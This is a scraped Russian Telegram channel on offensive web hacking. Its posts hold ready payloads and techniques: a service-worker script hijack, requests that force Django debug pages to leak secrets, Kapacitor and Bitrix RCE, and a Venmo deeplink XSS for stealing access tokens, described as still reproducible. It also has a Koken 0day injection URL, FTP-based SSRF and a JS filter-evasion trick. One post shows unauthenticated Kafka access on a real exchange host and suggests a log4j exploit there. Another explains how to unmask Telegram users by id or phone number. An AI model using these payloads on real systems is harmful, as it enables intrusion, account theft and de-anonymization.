Обложка канала

Кавычка

9725 @webpwn

Ломать - не строить

  • Кавычка

    #api #params #tool Помимо брутфорса директорий, на проекте также важно находить и проверять скрытые параметры. Разработчики могли оставить функции для их обработки на сервере, но на клиентской части код удалить. Также может возникать уязвимость Mass Assignment, где разработчик создал структуру, а злоумышленник может её заполнить, угадав названия полей с помощью перебора.
    public class User {
       private String userid;
       private String password;
       private String email;
       private boolean isAdmin;
    }
    
    
    Чтобы правильно и эффективно находить такие вещи, нам нужен подход или утилита. Самые известные вот эти две: Param Miner и Arjun Первая это плагин для BurpSuite. Вторая — консольная утилита на Python. Относительно недавно, появилась новая консольная утилита x8 Она написана на языке Rust, разработчиком является багхантер @sh1y0 Около 40% уязвимостей на h1 он нашёл с её использованием К слову, багхантеры за рубежом не стесняются встраивать её в свои конвейеры для поиска уязвимостей. На мой взгляд, данная тула наиболее эффективна, и сейчас мы разберёмся почему. 1. Arjun, в отличие от x8, имеет фиксированное значение параметров при брутфорсе (по умолчанию 500). Это значит, что в запросе из вордлиста будут отсылаться сразу 500 параметров: /?param1=test&param2=test&...&param500=test Проблема здесь заключается в том, что многие серверы будут отдавать 414 URI Too Long, либо банально игнорировать последние 200 параметров. Таким образом, даже если в вашем текстовом файле есть нужный параметр — он не будет найден. 2. Ещё одним важным отличием являются функции сравнения ответов на странице. Arjun сохраняет тело первого ответа и сравнивает с ответом нового запроса. Если есть разница — выводит сообщение о том что параметр влияет на ответ. Естественно, проблема здесь очевидна, содержимое в ответе может быть всегда динамическим. Например, в теле ответа иногда встроен datetime. x8 лишён данной проблемы, из-за наличия специальных тестовых запросов, которые нужны для выявления динамических строк — исключая их таким образом из поиска.
    HTTP/1.1 200 OK
    Content-Length: 18
    
    <html>
    - Time 13:36:23
    
    <id="test">
    
    
    Как видно из примера, строка которая содержит время, исключена и помечена как динамическая.
    HTTP/1.1 200 OK
    Content-Length: 37
    
    <html>
    - Time 13:37:48
    
    + <id="admin_param">
    
    
    Здесь x8 понимает, что параметр найден из-за изменений в теге id. 3. Arjun поддерживает методы только GET и POST, а Param Miner не умеет искать рекурсивным поиском. Кроме того, в x8 есть гибкая настройка отправки параметров — концепция шаблонов и injection pointов, которая отсутствует в других инструментах. Вообще, автор создал табличку, где сравнивает все три решения sh1yo.art/x8stats/ Так можно оценить эффективность работы на реальных сайтах. Пример использования: x8 -u "https://example.com/" -w <wordlist>
  • Кавычка

    Service Worker - это скрипт, запускаемый браузером в фоновом процессе. Думаю, еще не самая используемая технология пентестерами, а ведь с помощью нее можно придумать какую-нибудь интересную эксплуатацию уязвимостей. Большинство использует как кэш в твоем браузере, а кто-то, наверное, всякие гадости делает? Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть chrome://serviceworker-internals/. Если ты активный пользователь интернета, будешь неприятно удивлен Например, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега <script>, то вернется alert(). Надо разместить куда-то serviceworker.js (на имя пофиг).
    self.addEventListener('fetch', event => {
        if(event.request.url.endsWith('.js'))
           event.respondWith(new Response('alert()'));
    });
    
    И зарегать его: <script>navigator.serviceWorker.register(‘serviceworker.js')</script> При следующем посещении все js’ки будут alert’тить. А вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:
    self.addEventListener('fetch', event => {
        const url = '/api/user';
        if(event.request.url.endsWith('/intercept'))
        event.respondWith(fetch(url, {
            method  : 'POST',
            mode    : 'no-cors',
            credentials: 'include'
        }));
    });
    
    И вместо <script src=/intercept></script>, будет содержимое POST-запроса >
  • Кавычка

    Приложения на Django в debug режиме раскрывают содержимое environment переменных при необработанном исключении. Несмотря на наличие автоматического сокрытия значений, для переменных соответствующих регулярному выражению API|TOKEN|KEY|SECRET|PASS|SIGNATURE, часто это приводит к утечкам через нестандартные имена переменных. Если обнаружить debug режим можно просто обратившись к несуществующей странице, то вызвать exception иногда бывает проблематично. Даже с раскрытием существующих в приложении путей через 404-ую страницу. Но существуют и более универсальные подходы. Пример 1 Нестандартные символы в Host. Правда с учетом облачных сервисов этот вариант срабатывает редко.
    GET / HTTP/1.1
    Host: '"
    
    Invalid HTTP_HOST header: '\'"'. The domain name provided is not valid according to RFC 1034/1035.
    
    
    Пример 2 Использование большего количества переменных в POST, чем указано в настройке DATA_UPLOAD_MAX_NUMBER_FIELDS (по умолчанию 1000). Для эксплуатации необходимо найти любой роут, поддерживающий POST запросы, и в редких случаях получить валидное значение CSRF токена на странице.
    POST / HTTP/1.1
    Host: localhost
    Content-Type: application/x-www-form-urlencoded
    Cookie: csrftoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
    Content-Length: 3093
     
    csrfmiddlewaretoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&x=&x=&x=&x=[..1000 раз..]&x=&x=&x=
  • Реклама

  • Кавычка

    Один из способов узнать, что через какой-то веб-сервер проксируется Apache, это отправить ему заголовок Max-Forwards: 0 В ответе будет ошибка. >
  • Кавычка

    Kapacitor - это система обработки данных с открытым исходным кодом, которая умеет обрабатывать метрики из InfluxDB и является частью TICK-стека. Из коробки умеет в RCE, если торчит наружу. Для тестов: docker run --rm --net=host -it influxdb:1.8 docker run --rm -it --net=host -e KAPACITOR_INFLUXDB_0_URLS_0=http://127.0.0.1:8086 kapacitor ./kapacitor_rce.sh 172.17.0.3 >

    kapacitor_rce.sh

    text/x-script.sh
  • Кавычка

    Druid Monitor для отслеживания состояния проектов на Java /druid/weburi.html >
  • Кавычка

    Короч, на пентесте была защита от дураков, каждая отправка запроса (POST x-www-form-urlencoded или application/json) подписывалась. Причем бралась сессия, текущий timestamp, сортировались параметры, все это оборачивалось в md5. Эта проверка целостности передавалась в заголовке, и если не совпадала с текущими данными в POST, то обработка прерывалась. А без этого, естественно, ни Intuder, ни Scanner не работал. Запилили плагин для Burp, добавляется через Extender -> Add -> Python, вдруг пригодится в будущем. >

    burp_sign_headers.py

    text/x-script.phyton
  • Кавычка

    RCE эксплойт на Bitrix <= 20.100.0 >

    html_editor_action.php

    application/x-php
  • Кавычка

    Анонс Cure53 о том, что они убьют XSS как класс уязвимостей похож на правду. DOMPurify теперь встроен в браузеры и тестируется.
    // this is safe by default
    document.body.setHTML('unsafe HTML here')
    
    Как потестить: Firefox: about:config#dom.security.sanitizer.enabled Chrome: chrome://flags#enable-experimental-web-platform-features Как думаете, взлетит или будет на уровне CSP (у одного из ста)? wicg.github.io/sanitiz…izer-api
  • Кавычка

    #osint #telegram Чтобы узнать аккаунт в Telegram по его id, достаточно написать ссылку вида t.me/@id45933 Где 45933 - интересующий нас айдишник. При переходе с мобильного клиента мы получим профиль с привязанным идентификатором. Чтобы не добавлять к себе в контакты номер телефона, достаточно написать ссылку t.me/+15109728359 Аналогично, при переходе по ссылке получим профиль с этим номером телефона и оригинальным именем. >
  • Кавычка

    #mobile #deeplink Если вы нашли XSS на сайте, но у неё низкий impact — не удаётся "украсть" аккаунт жертвы или актив вне скоупа. Вам стоит поискать мобильное приложение, которое содержит WebView функциональность и присваивает токен при открытии страницы. Возьмём для примера приложение от PayPal. Открыв его в декомпиляторе можно найти функцию около webview функциональности boolean isSecureVenmoHostUrl(Uri uri) Внутри неё обнаруживаем хосты host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith(".venmo.biz") Теперь нужно проверить возможно ли передать свой url в класс webview. Если да, составляем полезную нагрузку: <a href="venmo://webview?url=https://legal.venmo.com/index.php?p=<svg>">PoC Send</a> Это был пример как поднять xss, до чего-то существенного. При открытии ссылки, возможно украсть access_token и получить доступ к платежам пользователя. Такая же функциональность в приложении TripAdvisor: Pattern f30622a = Pattern.compile("^(?:https?\\:\\/\\/(?:[A-Za-z0-9_\\-]+\\.(dhcp(\\-[A-Za-z]+)?\\.([A-Za-z0-9_\\-]+\\.corp\\.)?|(nw\\.)?dev(\\-[A-Za-z]+)?\\.|cmc\\.|d\\.)?)?tripadvisor\\.(?:com|(?:[a-z]{2})|(?:(?:co|com)\\.[a-z]{2})))?\\/.*$"); В перечисленных случаях выше, разработчики исправляют только xss, поэтому вы всё ещё можете это воспроизвести.
  • Кавычка

    А вот пример уязвимого кода для выполнения RCE через FTP. Когда кто-то забирает файл, на контролируемом нами ресурсе, мы ему отдаем полезную нагрузку для эксплуатации выполнения кода (FastCGI, Redis, Zabbix). После попытки сохранить его, мы отвечаем серверу, что переходим в пассивный режим, отправь содержимое на 127.0.0.1:9000 (или другой порт). Это не только таск на CTF: [1], [2] >
  • Кавычка

    В некоторых случаях доступ к FTP это еще и SSRF. Плюсы: FTP тупой, как пробка Минусы: Активный режим редко где включен. После подключения с помощью netact, мы можем отправить файл (который мы залили) в произвольное место. RETR file - готовит содержимое файла к отправке PORT 1,2,3,4,5,6 - куда отправить содержимое, где первые 4 цифры это IP, а 2 последние это 5*256+6 Из примера выше, PORT 127,0,0,1,31,144 это 127.0.0.1:8080 (31*256+144). >
  • Кавычка

    Sometimes you can be a smart dude and report XSS. But maybe you were too hasty? Think about it.
    http://koken.cms/preview.php?/albums/&preview=elementary/a:<?=phpcredits();?>
    #0day
  • Кавычка

    Запоминаем крутые порты 9092 (kafka), 2181 (zookeeper). Видим подобное на хосте? Проверим, можно ли зайти без аутентификации. kcat -b {IP}:9092 -u -L В ответе будут адреса брокеров. Если брокер будет локальный, как ниже, то либо меняем в /etc/hosts временно localhost на нужный нам IP, либо пробрасываем локальный порт на нужную нам тачку. Metadata for all topics (from broker -1: 103.210.236.192:9092/bootstrap): 1 brokers: broker 0 at localhost:9092 (controller) 126 topics: topic "LOGICAL_CONTRACT_MESSAGE_8962" with 1 partitions: partition 0, leader 0, replicas: 0, isrs: 0 topic "traverser_klines_deals" with 1 partitions: partition 0, leader 0, replicas: 0, isrs: 0 topic "LOGICAL_MESSAGE_8934" with 1 partitions: partition 0, leader 0, replicas: 0, isrs: 0 >
  • Реклама

  • Кавычка

    Используем утилиты KaDeck или Offset Explorer для просмотра или изменения содержимого. Пример на скриншоте и выше - биржа okx.com. Меняем циферки, пробуем эксплойт с log4j) >
  • Кавычка

    Нажмите на кнопку ниже, чтобы получить платный доступ к «Кавычка за донаты».
  • Кавычка

    Забавный способ уйти от систем защит - использовать другие системы счисления в #js для скрытия полезной нагрузки. Например, функция parseInt может позволить перевести строку alert в числовое значение переведя значение в 36-ричную систему счисления: > parseInt('alert', 36) < 17795081 Чтобы выполнить, необходимо воспользоваться функцией toString и перевести число обратно в строку: top[17795081..toString(36)]() >